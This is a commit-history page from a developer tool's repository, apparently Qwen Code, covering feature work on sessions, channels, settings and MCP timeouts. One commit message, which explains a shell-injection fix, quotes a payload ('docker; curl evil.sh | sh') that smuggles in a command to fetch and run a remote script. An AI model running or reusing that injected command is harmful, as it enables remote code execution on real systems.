Commit graph

6812 commits

Author SHA1 Message Date
ytahdn
1467ed3100
fix(web-shell): defer session creation until first prompt (#6066)
* fix(web-shell): defer session creation until first prompt

* fix(web-shell): stabilize deferred session attach

* docs(web-shell): document optional session change callback

* test(web-shell): cover deferred session setup failures

* fix(webui): preserve concurrent session load on clear

* fix(web-shell): keep session prep helper in utils

* fix(web-shell): harden deferred session lifecycle

* fix(web-shell): guard deferred session races

* fix(web-shell): simplify controlled session selection

* fix(web-shell): tighten empty session edge cases

* fix(web-shell): tighten deferred session lifecycle

* test(webui): align session action mocks with daemon types

* fix(web-shell): notify cleared session ids

* fix(webui): guard session cleanup races

* fix(web-shell): preserve blocked local commands

---------

Co-authored-by: ytahdn <ytahdn@gmail.com>
Co-authored-by: 易良 <1204183885@qq.com>
2026-07-01 14:04:37 +00:00
jinye
487fb45510
feat(cli): Harden daemon-managed channel worker (#6098)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* feat(cli): harden daemon-managed channel worker

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* test(cli): address channel worker review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden channel worker log supervision

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): redact channel worker snapshot errors

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* perf(cli): precompute channel worker log redactors

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): escalate permanent channel worker failures

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): bound oversized worker log tail discard

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6098)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-01 13:26:38 +00:00
qwen-code-ci-bot
f3ea17bf43
chore(release): v0.19.4 (#6132)
* chore(release): v0.19.4

* docs(changelog): sync for v0.19.4

---------

Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-07-01 13:13:47 +00:00
易良
dab218fcd5
test(core): fix MCP idle timeout config stubs (#6120) 2026-07-01 11:44:25 +00:00
qqqys
6a5ad453c8
[codex] Add explicit channel memory for messaging channels (#6051)
* chore: ignore local worktrees

* feat(core): add channel memory store

* fix(core): preserve dots in channel memory paths

* fix(core): guard dot channel memory paths

* feat(channels): add channel memory commands

* fix(channels): defer channel memory session invalidation

* feat(channels): inject channel memory into sessions

* fix(channels): serialize channel memory context injection

* fix(channels): harden channel memory context races

* fix(channels): let queued turn retry memory context

* feat(cli): wire channel memory into channel startup

* docs(channels): document channel memory

* fix(channels): harden channel memory handling

* fix(channels): gate channel memory injection

* fix(channels): serialize channel memory clears

* fix(channels): tolerate channel memory read failures

* fix(channels): harden channel memory review gaps

* fix(channels): harden channel memory review gaps

* fix(channels): protect shared channel memory

* test(channels): allow group memory view test

* fix(channels): block group memory writes

* fix(channels): include memory in loop prompts

* fix(channels): preserve session context order after merge

* fix(channels): retry loop memory context after read failure

---------

Co-authored-by: qwen-code-dev-bot <qwen-code-dev-bot@users.noreply.github.com>
2026-07-01 09:59:48 +00:00
易良
1abc9589b2
fix(model): disambiguate vision model endpoints (#6070)
* fix(model): disambiguate vision model endpoints

* fix(core): satisfy vision bridge model selection narrowing

* fix(model): address vision endpoint review comments

* fix(model): address vision endpoint review feedback

* fix(model): address vision endpoint review comments

* chore(model): remove config formatting noise

* fix(model): avoid ambiguous legacy vision pins

* fix(model): share vision model setting parser
2026-07-01 09:46:30 +00:00
易良
1a46df5d92
fix(cli): load browser MCP tools by default (#6006)
* fix(cli): load browser MCP tools by default

* fix(cli): cover browser MCP env flags

* fix: address browser MCP review follow-ups

* fix(cli): add browser MCP diagnostics

* fix(cli): tighten browser MCP auto-wiring

* fix(cli): address browser MCP diagnostics

* revert(cli): drop browser MCP diagnostic churn

* revert(cli): drop optional CDP startup diagnostic

* refactor(cli): load browser MCP dynamically

* fix(cli): lazily attach CDP tunnel

* test(cli): use repo deps for CDP tunnel acceptance

* fix(cli): scope browser MCP defaults to extension origins

* fix(cli): recover from lazy CDP attach failures

* fix(chrome-extension): bind CDP replies to source socket

* ci: allow slower actionlint runs

* fix(cli): harden chrome devtools runtime MCP registration

* test(cli): satisfy lint in CDP registration race test

* test(cli): cover chrome devtools MCP retry loop

* test(cli): cover chrome devtools skip paths

* ci: restore actionlint timeout
2026-07-01 09:46:00 +00:00
易良
95c49fc8bf
fix(ci): stabilize Windows loop tests (#6082)
* fix(ci): stabilize Windows loop tests

* fix(cli): resolve session test review comment

* docs(cli): clarify resolveHomeLoopResolverRoots homeDir usage

Add a comment explaining that homeDir is only consulted when QWEN_HOME
is unset; when QWEN_HOME is set, confinement root is homeQwenDir.

* fix(cli): resolve loop resolver review comments
2026-07-01 09:43:58 +00:00
易良
b9b3bcef69
fix(daemon): Route ACP images through the vision bridge (#6111)
* fix(cli): route ACP images through vision bridge

* fix(cli): harden ACP vision bridge fallback

* test(cli): cover ACP vision bridge fallbacks
2026-07-01 09:41:37 +00:00
易良
1287ac10ca
ci: stabilize actionlint on self-hosted runners (#6113) 2026-07-01 09:25:42 +00:00
yuanyuanAli
15d30ddc64
fix(web-shell): fix InsightProgress layout and clean up UI elements (#6115) 2026-07-01 09:00:57 +00:00
DennisYu07
def96c83a1
feat(core): add configurable idle timeout for MCP tool calls (#6061)
* feat(core): add configurable idle timeout for MCP tool calls

Adds an idle timeout mechanism that aborts MCP tool calls when the server
does not produce any response or progress update within a configurable
window. This prevents hung tool calls from blocking the session
indefinitely.

- Configurable via mcpToolIdleTimeoutMs config parameter or
  QWEN_CODE_MCP_TOOL_IDLE_TIMEOUT_MS environment variable (default 5 min)
- Implemented via AbortController + AbortSignal.any() to combine external
  cancellation with idle timeout
- Timeout resets on each progress notification, distinguishing between
  slow-but-working servers and truly hung servers
- Added settingsSchema entry with min 10s, max 1h validation
- 3 test cases covering timeout abort, progress reset, and disabled state

Closes #6047

* fix(cli): wire mcpToolIdleTimeoutMs from settings to ConfigParameters

The settings schema defines mcp.toolIdleTimeoutMs and Config reads
mcpToolIdleTimeoutMs from ConfigParameters with an env-var fallback,
but the CLI config builder was not passing settings.mcp?.toolIdleTimeoutMs
into ConfigParameters. This meant configuring it via settings.json had
no effect — only the env var and constructor default (300000ms) worked.

Add the missing wiring line near the other mcp fields.

* fix(core): address PR #6061 review feedback for MCP idle timeout

- Fix env var parsing: use explicit Number.isFinite check instead of || to allow 0 (disable)
- Add timer.unref() to prevent idle timeout from blocking process exit
- Move clearTimeout to finally block to avoid duplication
- Fix progress reset test: mock now observes abort signal and timing is correct
2026-07-01 08:56:50 +00:00
Dragon
df3e753a51
feat(cli): add tabbed Settings dialog with Status and Stats tabs (#6044)
* feat(cli): add tabbed Settings dialog with Status and Stats tabs

Align the /settings dialog with Claude Code's /config: a top tab bar
(Settings / Status / Stats) with a "Search settings…" box on the Settings
tab. Focus moves vertically tab bar -> search box -> list, so typing filters
the settings while the highlight only ever shows on the focused region.

The Status tab surfaces the same system information as /status, and the Stats
tab embeds the full /stats dashboard (Session / Activity / Efficiency
sub-tabs). StatsDialog gains an isFocused prop so it only consumes keyboard
input while that tab's content is focused, and an availableHeight prop so the
Efficiency model table is capped (with a "+N more" pointer) to fit inside the
host dialog. Standalone /status and /stats are unchanged.

* fix(cli): address Settings dialog review feedback

- Tab from the search box now moves focus to the list zone when entering
  scope mode, so the search-zone handler no longer intercepts keys while
  the ScopeSelector is focused.
- Allow spaces in the settings search box so multi-word queries (e.g.
  "vim mode") can be typed.
- Route digit keys into the search box for non-number settings instead of
  swallowing them, so queries like "8080" filter correctly.
- Log the Status-tab system-info load failure via debugLogger instead of
  silently swallowing the error.
- Add regression tests for the search-space and digit-to-search behavior.

* fix(cli): address Settings dialog review feedback

- Guard the list-zone type-to-search catch-all with isPrintableSearchChar
  so an empty-query Backspace no longer appends the DEL (0x7F) byte as an
  invisible character that hides every setting behind "No settings match".
- Only render the "press r to restart" prompt on the Settings tab, where
  the r handler is reachable; on the Status/Stats tabs it was shown but
  inert (and the embedded Stats dashboard binds r to cycle date ranges).
- Drop the unsafe `as unknown as CommandContext` cast on the Status tab by
  narrowing getExtendedSystemInfo and friends to the services subset they
  actually read; a full CommandContext is still assignable.
- Extract the embedded Efficiency model-table row budget to named constants
  and account for the tool leaderboard's fixed title/header/margin rows.
- Add tests for list-zone Escape (clear-then-close) and the Efficiency
  model-row cap ("+N more").

* fix(cli): address Settings dialog search/layout review feedback

- Search box: reuse the shared isPrintableSearchChar predicate (excludes
  DEL/C1/pastes/multi-grapheme) instead of a hand-rolled filter, and make
  Backspace grapheme-aware via removeLastGrapheme (exported from
  useSessionSearchInput) in both the search and list zones so emoji /
  surrogate pairs are deleted whole.
- Search filter now matches the setting key and description in addition to
  the localized label.
- Embedded StatsDialog availableHeight: subtract the ConfigTabBar + spacer
  rows (now -6 total) so the Efficiency model table never exceeds the host.
- Reset scrollOffset when ↑ moves focus from the top of the list to the
  search box (defensive; keeps the viewport consistent with the selection).

* fix(cli): harden Settings dialog tab/scope/edit state machine

Addresses review feedback on the tabbed Settings dialog:

- Reset scope mode whenever the active tab changes, so a stale
  ScopeSelector can't render while the keypress router treats the tab
  as a data view (tab/scope desync).
- Discard an in-progress edit when leaving the settings list (scope
  mode or a tab switch), so its captured keystrokes can't resurface and
  be committed against the wrong field. Keyed on mode (not focusZone):
  the reachable desync is Tab-into-scope-mode while editing, which keeps
  focusZone === 'list'.
- Guard the restart 'r' handler on mode === 'settings' so it no longer
  triggers a restart/exit while the ScopeSelector (which does not handle
  'r') is open.
- Support Shift+Tab to cycle the top tab bar backwards, matching the
  embedded Stats sub-tabs.
- Keep the search-zone Tab handler's state updater pure (apply
  setFocusZone as a side effect instead of from inside the setMode
  updater).
- Document the StatsDialog width chrome offset.

All SettingsDialog unit tests pass; eslint and prettier clean.

* fix(cli): consume printable key in Settings list zone to prevent stray restart/exit

In the Settings tab list zone, the `isPrintableSearchChar` branch appended to
the search query but did not return, so execution fell through to the restart
handler below. Pressing `r` to filter while a restart prompt was showing
therefore triggered onRestartRequest / process exit instead of typing into the
search box. Add a return so the printable key is consumed by the search branch.

* fix(cli): address Settings/Stats dialog review feedback

- Make the restart 'r' key reachable from the settings list zone: it was
  consumed by the implicit-search branch before the restart handler could
  run, so "Press r to exit" only filtered the list. Handle 'r' explicitly
  before isPrintableSearchChar via a shared applyRestart helper.
- Clamp the StatsDialog availableHeight at the source (Math.max(3, ...)) so
  a very short terminal can't pass a negative height downstream.
- Reset systemInfo to null when leaving the Status tab so a revisit shows
  the loading line and refetches instead of flashing stale data.
- Account for the conditional Code Impact section (CODE_IMPACT_ROWS) when
  capping the embedded Efficiency model table.

* fix(cli): hide restart prompt in scope mode where 'r' is inert

The restart prompt ('Press r to exit and apply changes now.') rendered
whenever the Settings tab was active, but the 'r' key handler lives inside
the 'mode === settings' branch. In scope mode the prompt was shown while
'r' did nothing. Gate the prompt on 'mode === settings' so it only appears
when the key that dismisses it is reachable.

* fix(cli): address Settings dialog review feedback (escape/focus, status errors, search)

Resolve unresolved review threads on the tabbed Settings dialog:

- Reset focusZone away from 'search' when leaving the Settings tab, so the
  embedded Stats view (isFocused={focusZone==='list'}) is not left an
  unresponsive keyboard dead zone.
- Escape in scope mode now backs out to the settings list instead of
  dismissing the whole dialog.
- Stats tab Escape now defocuses to the tab bar (first Esc) and closes on the
  second, mirroring the other tabs; the embedded StatsDialog's onClose is
  redirected because both keypress handlers are live.
- Status tab: surface a failed getExtendedSystemInfo() with an error line and
  an `r` retry instead of an indefinite "Loading status…" spinner.
- Reuse the shared isDeletionKey predicate for both search-delete paths so
  terminals emitting raw DEL/BS bytes can delete the query.
- Include the scope qualifier in the settings search filter.
- Hide the restart prompt unless focusZone==='list' (where `r` actually works).
- Cap the embedded Stats tool leaderboard so a long tool list can't overflow.
- Gate the "(Tab to switch)" hint on isFocused; pass width to the Status
  AboutBox; truncate long search queries; fix a misleading tab-cycle comment;
  move i18n leading spaces out of the "+N more" keys.

* fix(cli): gate embedded Stats hint on focus, guard list-zone deletion, cover maxToolRows

- StatsDialog: blank the bottom keybinding hint when the embedded dialog
  is not focused, so it no longer advertises Tab/r/arrow keys that the
  parent (not this dialog) actually handles.
- SettingsDialog: return after the list-zone deletion-key branch, matching
  the sibling printable-char branch, so a future handler appended to the
  chain cannot run on deletion keys.
- StatsEfficiencyTab.test: add coverage for the maxToolRows tool-leaderboard
  capping and the '+N more' overflow line, mirroring the maxModelRows tests.

* fix(cli): make Settings scroll arrows position-aware and Status retry focus-agnostic

Address review feedback on the tabbed Settings dialog:
- Show the up/down scroll arrows only when items are actually hidden in that
  direction (scrollOffset-based), instead of whenever the list overflows. This
  removes the misleading up arrow at the top of the list, where ↑ exits to the
  search box, and the down arrow at the bottom.
- Handle the Status tab's `r` retry shortcut before the tab-bar early return so
  it works whether focus is on the tab bar or the data view, matching the
  on-screen "Press r to retry" hint.

Snapshots updated to drop the top-of-list up arrow.

---------

Co-authored-by: DragonnZhang <dragonzhang1024@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
2026-07-01 16:31:34 +08:00
jinye
b4fe43741a
feat(daemon): Add session archive support (#6058)
* feat(daemon): add session archive support

Add active versus archived daemon session storage, archive and unarchive APIs, strict live-session close handling, ACP and SDK support, and coverage for archive listing, load rejection, deletion, and route mapping.

Closes #6057

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix CI failure on PR #6058

Update the no-AK integration capability baseline to include the new session_archive capability added by this PR.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6058)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): preserve live session on strict close failure

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): serialize session delete with archive transitions

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* refactor(daemon): share session archive orchestration

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): clean up strict close failures

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* docs(daemon): clarify archive recovery tradeoffs

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): log session archive outcomes

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): parallelize archive session closes

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): serialize archive restore races

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): satisfy archive lint checks

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): keep strict close retryable

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): distinguish archive conflicts

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(core): warn on unreadable session heads

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* docs(core): document active-only session helpers

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): tighten archive review edges

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): allow concurrent session restores during archive gate

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): avoid archive head reads on session restore

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6058)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(sdk): account for session archive bundle size

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address archive gate review (#6058)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address archive review follow-ups (#6058)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address ACP archive review feedback (#6058)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): Address session archive review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* test(daemon): Cover close ownership restoration

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): Address archive review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* test(daemon): Cover ACP close prompt fallback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* test(daemon): Cover archive close channel loss

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): Address archive follow-up review

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): Return archiving conflict for delete gate

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(core): Treat unreadable archived ids as occupied

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* refactor(daemon): Share session delete orchestration

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(daemon): Address archive review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(deps): Clear critical runtime audit failures

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(deps): Sync runtime dependency ranges with main

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-01 16:24:26 +08:00
qqqys
891c59fbaa
feat(channels): add group history backfill (#6074)
* feat(channels): add group history backfill

* fix(channels): harden group history backfill

* fix(channels): address group history review gaps

* fix(channels): apply wildcard group history limit
2026-07-01 16:24:09 +08:00
Shaojin Wen
17fbaa25cd
refactor(review): drop deterministic-analysis and autofix steps (#6092)
* refactor(review): drop deterministic-analysis and autofix steps

Slim the bundled /review skill from 11 to 9 steps by removing Step 3
(deterministic analysis — auto-run of tsc/eslint/ruff/clippy/go vet
plus CI-lint discovery) and Step 8 (autofix — PR-worktree auto-fix,
commit and push).

Renumber the remaining steps (4→3 … 11→9) and update every
cross-reference. Agent 7 (Build & Test) stays in the parallel review
step and now always runs build+test instead of skipping when Step 3
had already compiled. The [linter]/[typecheck] source tags are dropped;
[build]/[test]/[review] remain. DESIGN.md is updated to match (step
numbers, removed Autofix/deterministic rationale, LLM-budget table).

* refactor(review): address review feedback on the /review slimming

Follow-up to the 11->9 step change, addressing PR review comments:

- Restore base-branch CI-config protection in Agent 7. The removed Step 3 carried the instruction to read CI config from the base branch; without it Agent 7 would discover build/test commands from the untrusted PR branch. Re-added to Agent 7's CI-config discovery clause.
- Drop the stale "linters" token from the worktree rule (no standalone linter step runs anymore).
- Narrow the exclusion criteria: substantive lint/type issues (unused vars, unreachable code, type errors) are no longer auto-excluded now that no deterministic tool catches them; only pure formatting stays excluded.
- Update user docs to match: docs/users/features/code-review.md (11->9 steps, remove the Deterministic Analysis and Autofix sections, drop the two comparison-table rows, renumber the Token-efficiency table) and docs/users/features/commands.md (agent count).
- Fix stale step-number references in CLI comments: cleanup.ts (Step 11->9) and presubmit.ts (Step 9->7, comment + yargs describe).

* refactor(review): remove orphaned deterministic subcommand, polish docs

Second round of PR feedback:

- Remove the now-orphaned `qwen review deterministic` subcommand. review.ts describes these subcommands as "internal helpers used by the /review skill"; with Step 3 gone the skill no longer invokes it, so the ~740-line module plus its import / registration / describe / subcommand-list entries were dead code. Deleted deterministic.ts and its wiring in review.ts.
- Decouple the exclusion criterion from pipeline state (SKILL.md): substantive lint/type issues (unused vars, unreachable code, type errors) are now "in scope — LLM agents should report them" rather than "no longer have a deterministic tool catching them", so the rule stays correct if a linter step is ever re-added.
- Drop the stale "linting" justification from the worktree dependency-install note (SKILL.md); only build/test remain.
- DESIGN.md: rename the subcommands section to "presubmit and cleanup", drop "lint" from the review-tools rejected alternative, and fix the "we already have those" cell to "We retain build/test (Agent 7)".

* refactor(review): resolve exclusion-criteria contradiction, polish wording

Third round of PR feedback:

- Merge the exclusion criteria to remove the contradiction between the unconditional "matches codebase conventions" exclude and the "substantive lint/type issues are in scope" include. Now a single bullet: cosmetic style/formatting/naming is excluded, but substantive issues a linter or type checker would flag (unused variables, unreachable code, type errors) are in scope even where the surrounding code tolerates them. Kept decoupled from pipeline state (no "deterministic tool" wording). Applied in both SKILL.md and docs/users/features/code-review.md.
- SKILL.md lightweight-mode skip: "(no local reports or cache)" to match Step 8's title ("Save review report and cache").
- DESIGN.md: rename the CI-config section to "auto-discover build/test commands" to match the body, which was narrowed to build/test only.

* test(review): guard qwen review subcommand surface, fix stale docs linting ref

- Add packages/cli/src/commands/review.test.ts verifying the `qwen review` builder registers exactly [fetch-pr, pr-context, load-rules, presubmit, cleanup], no longer registers the removed `deterministic` subcommand, and that `describe` no longer mentions deterministic analysis. Guards against silently re-adding the subcommand or dropping a helper (review.ts previously had no test).
- docs/users/features/code-review.md: drop the orphaned "linting" from the Worktree Isolation dependency-install note; only build/test remain now that Step 3 is gone.
2026-07-01 16:24:02 +08:00
DennisYu07
855a2b3d69
feat(auto-mode): add classifyAllShell setting to route all shell commands through classifier (#6040)
* feat(auto-mode): add classifyAllShell setting to route all shell commands through classifier

When autoMode.classifyAllShell is true, every shell command (including
read-only ones that would normally be auto-approved) is routed through
the auto-mode LLM classifier for safety review. Default false preserves
existing behavior.

Closes #6039

* fix(core): add classifyAllShell check to autoApproveCompatiblePendingTools

The third forceAutoReviewForAllow computation site in
autoApproveCompatiblePendingTools was missing the
shouldClassifyAllShellForAutoMode OR-branch, allowing shell commands
to bypass the classifier when classifyAllShell is enabled.

Addresses qwen-code-ci-bot critical review on PR #6040.

* fix(core): use optional chaining in shouldClassifyAllShellForAutoMode

Prevents TypeError when config.getAutoModeSettings() returns undefined
in tests or edge cases where AutoModeSettings is not initialized.

* docs(auto-mode): document classifyAllShell setting

Add new section explaining the classifyAllShell option, a tip in the
'How it works' overview, and a commented-out example in the approval-mode
configuration reference.

* fix(test): add missing getAutoModeSettings mock in AUTO denial counter reset test
2026-07-01 16:23:24 +08:00
易良
66521d8a0e
ci(autofix): fix scheduled and labeled issue triggers (#6080)
* ci(autofix): fix scheduled and labeled issue triggers

* ci(autofix): harden issue label routing

* ci(autofix): scope manual forced routing

* ci(autofix): address routing review comments

* ci(autofix): clarify issue routing comments

* fix(ci): address autofix routing review

* fix(ci): reuse issue label trigger guard

* fix(ci): preserve manual autofix issue override

* fix(ci): guard autofix label routing

* fix(ci): check autofix label sender permission

* fix(ci): address autofix route review comments

* fix(ci): serialize autofix issue runs
2026-07-01 16:23:12 +08:00
tanzhenxin
0cbd687885
fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.

Add a subprocess regression test covering several injection payload shapes.
2026-07-01 16:20:40 +08:00
DennisYu07
fe866b7831
fix: remove accidentally committed OpenClaw-Query-Submit submodule (#6109) 2026-07-01 16:20:29 +08:00
ytahdn
4fd72b3ce3
feat(web-shell): polish chat UI and table rendering (#6099)
* feat(web-shell): polish chat UI and table rendering

* fix(web-shell): address review follow-ups

---------

Co-authored-by: ytahdn <ytahdn@gmail.com>
2026-07-01 16:20:19 +08:00
Dragon
e324104ce8
docs: refresh settings, MCP glob, auth alias, and autonomous loop docs (#6090)
Audit docs/ against the current codebase and correct user-facing drift:

- Document glob-pattern support (* and ?) for mcp.allowed / mcp.excluded
  in settings.md and the MCP feature page (feat #6012).
- Add missing user-facing settings rows: general.terminalBell,
  general.preventSystemSleep, general.chatRecording; ui.showStatusInTitle,
  ui.disableWorkflowKeywordTrigger, ui.enableUserFeedback, ui.compactInline,
  ui.useTerminalBuffer, ui.hideBuiltinWorktreeIndicator;
  memory.enableTeamMemory, memory.enableTeamMemorySync; tools.toolSearch.enabled.
- Note the QWEN_MODEL alias for OPENAI_MODEL in the auth protocol table.
- Document the autonomous (bare /loop) mode in scheduled-tasks (feat #5991).

Co-authored-by: Claude <noreply@anthropic.com>
2026-07-01 06:43:29 +00:00
Gaurav
fc184f20e5
fix(deps): clear critical runtime audit findings (#6065)
* fix(deps): clear critical runtime audit findings

* fix(core): allow intentional worktree hooks path setup
2026-07-01 05:28:32 +00:00
qqqys
c958e6f6f9
feat(channel): add channel loop support (#6073)
* feat(channel): add proactive routines

* fix(channel): harden scheduled routines

* fix(channel): report Feishu proactive send failures

* fix(channel): reject unsupported threaded routines

* fix(channel): harden routine scheduler lifecycle

* fix(channel): enforce routine quotas atomically

* feat(channel): surface routine lifecycle

* test(channel): align routine job fixtures

* fix(channel): initialize routine lifecycle fields

* fix(channel): harden routine scheduler concurrency

* fix(channel): evict timed out scheduled sessions

* fix(channel): harden routine lifecycle review gaps

* feat(channel): add channel loop support

* test(channel): fix loop scheduler lint

* fix(channel): harden loop lifecycle checks

* test(channel): fix loop scheduler lint

* fix(channel): harden loop review handling

* fix(channel): harden loop timeout handling

* fix(channel): cap loop scheduler concurrency

* fix(channel): harden loop session recovery

* fix(channel): harden loop lifecycle recovery

* fix(channel): harden loop recovery gaps

* fix(telegram): preserve injected bot on first connect
2026-07-01 05:07:21 +00:00
DongBo
4d6c7ccfd0
fix(cli): validate ask_user_question TUI option input (#6042) 2026-07-01 05:05:00 +00:00
Matt Van Horn
ff70f79f12
fix(core): keep plan mode and require approval when plan gate is unavailable (#6046)
* fix(core): keep plan mode and require approval when plan gate is unavailable

* fix: address self-review findings

---------

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
2026-07-01 05:04:49 +00:00
jinye
60f893712f
feat(core): Disallow plan lifecycle tools in subagents (#6087)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* feat(core): Restrict subagent plan mode tools

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address follow-up PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address plan tool observability feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6087)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-01 04:10:29 +00:00
Kagura
71fa6768bb
fix(core): subtract reserved output tokens from context window for compression thresholds (#5957)
* fix(core): subtract reserved output tokens from context window for compression thresholds

When max_tokens escalates to 64K (ESCALATED_MAX_TOKENS), the effective input
budget drops but computeThresholds() was still called with the full context
window. This caused auto-compression to never fire before the API rejected
with a 400 error.

The fix reserves the output budget at both threshold sites (auto + hard):
- Source: params.config.maxOutputTokens (subagent), samplingParams.max_tokens
  (user override), or max(ESCALATED_MAX_TOKENS, tokenLimit(model, 'output'))
  as fallback for the interactive path
- Both the cheap-gate auto threshold and the hard-rescue threshold now use the
  adjusted contextLimit
- The reactive-compression path also receives reservedOutputTokens

Tests:
- 4 new chatCompressionService tests (reservation, backward-compat, edge case)
- 1 new sendMessageStream integration test exercising the real sourcing path
  without params.config.maxOutputTokens (issue #5950 scenario)
- All 281 tests pass

Closes #5950

* fix(core): address v3 review — ACP path, observability, hard-tier test

* fix(core): address v4 review — env var sourcing + client.test.ts assertions

* test(core): add env-var sourcing test for QWEN_CODE_MAX_OUTPUT_TOKENS reservation

* fix(core): parse env var once to prevent invalid values disabling output budget
2026-07-01 03:36:08 +00:00
DennisYu07
afb4b07069
feat(cli): add /config key=value slash command to set any setting from the prompt (#5773)
* feat(cli): add /config key=value slash command for settings management

Add a /config slash command that lets users get or set any setting by
dot-path key directly from the prompt, without opening the settings UI
or editing settings.json manually.

Supports:
- /config general.vimMode=true — set boolean
- /config general.vimMode — toggle boolean
- /config tools.approvalMode=auto — set enum with validation
- /config --help — list all settable keys with current values
